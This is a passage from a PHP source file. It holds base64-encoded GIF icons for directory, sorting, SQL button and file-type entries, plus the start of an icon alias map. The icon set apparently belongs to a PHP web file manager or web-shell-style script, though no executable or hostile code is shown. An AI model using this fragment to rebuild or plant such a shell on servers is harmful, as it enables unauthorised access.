"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", 
"setup"=> 
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". 
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". 
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". 
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". 
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", 
"small_dir"=> 
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". 
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", 
"small_unk"=> 
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". 
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". 
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". 
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". 
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". 
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". 
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". 
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". 
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". 
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". 
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". 
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". 
"yAsokBkQADs=", 
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". 
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", 
"sort_asc"=> 
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". 
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", 
"sort_desc"=> 
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". 
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", 
"sql_button_drop"=> 
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". 
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". 
"AQEAOw==", 
"sql_button_empty"=> 
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". 
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", 
"sql_button_insert"=> 
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". 
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". 
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". 
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". 
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". 
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". 
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". 
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". 
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". 
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". 
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". 
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", 
"up"=> 
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". 
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". 
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", 
"write"=> 
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". 
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". 
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". 
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", 
"ext_asp"=> 
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". 
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". 
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", 
"ext_mp3"=> 
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". 
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". 
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", 
"ext_avi"=> 
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". 
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". 
"PYXCyg+V2i44XeRmSfYqsGhAAgA7", 
"ext_cgi"=> 
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". 
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". 
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". 
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". 
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". 
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". 
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". 
"RYtMAgEAOw==", 
"ext_cmd"=> 
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". 
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". 
"dmrYAMn1onq/YKpjvEgAADs=", 
"ext_cpp"=> 
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". 
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". 
"Eq7YrLDE7a4SADs=", 
"ext_ini"=> 
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". 
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". 
"SnEjgPVarHEHgrB43JvszsQEADs=", 
"ext_diz"=> 
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". 
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". 
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". 
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". 
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". 
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". 
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". 
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". 
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". 
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". 
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". 
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". 
"Ow==", 
"ext_doc"=> 
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". 
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". 
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", 
"ext_exe"=> 
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". 
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". 
"xhIAOw==", 
"ext_h"=> 
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". 
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". 
"Wq/NknbbSgAAOw==", 
"ext_hpp"=> 
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". 
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". 
"UqUagnbLdZa+YFcCADs=", 
"ext_htaccess"=> 
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". 
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". 
"AAA7", 
"ext_html"=> 
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". 
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". 
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". 
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". 
"ADs=", 
"ext_jpg"=> 
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". 
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". 
"FxEAOw==", 
"ext_js"=> 
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". 
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". 
"a00AjYYBbc/o9HjNniUAADs=", 
"ext_lnk"=> 
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". 
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". 
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". 
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". 
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". 
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". 
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". 
"ADs=", 
"ext_log"=> 
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". 
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", 
"ext_php"=> 
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". 
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", 
"ext_pl"=> 
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". 
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", 
"ext_swf"=> 
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". 
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". 
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". 
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". 
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", 
"ext_tar"=> 
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". 
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". 
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". 
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". 
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". 
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". 
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". 
"u4tLAgEAOw==", 
"ext_txt"=> 
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". 
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". 
"UpPWG3Ig6Hq/XmRjuZwkAAA7", 
"ext_wri"=> 
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". 
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", 
"ext_xml"=> 
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". 
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". 
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". 
"IQA7" 
); 
//For simple size- and speed-optimization. 
$imgequals = array( 
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), 
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), 
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), 
  "ext_html"=>array("ext_html","ext_htm"), 
